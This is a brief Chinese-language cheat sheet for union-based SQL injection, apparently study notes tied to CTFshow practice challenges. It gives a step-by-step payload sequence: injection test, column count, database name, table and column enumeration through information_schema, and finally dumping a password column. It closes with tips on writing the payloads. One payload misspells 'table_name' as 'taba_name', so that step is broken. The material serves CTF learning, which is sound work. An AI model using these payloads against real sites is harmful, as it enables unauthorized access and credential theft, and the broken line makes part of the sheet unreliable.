常规注入步骤
(1)判断是否存在注入:
and 1=2 --+
(2)判断字段数:
order by 2 --+
(3)查询数据库:
and 1=2 union select 1,database() --+
(4)查询表名:
and 1=2 union select 1,group_concat(taba_name) from information_schema.tables where table_schema='库名' --+
(5)查询列名:
and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='表名' --+
(6)查询具体数据:
and 1=2 union select 1,password from 表名 --+
~~分界线 ~~ ~~分界线 ~~ ~~分界线 ~~ ~~分界线 ~~
注意:
- 都是要英半角输入
- from后内容要写在最后面
- 当存在多个库时,查询表名where条件改成具体的库名
基础题
CTFshow web入门 SQL web171
CTFshow web入门 SQL web172
CTFshow web入门 SQL web173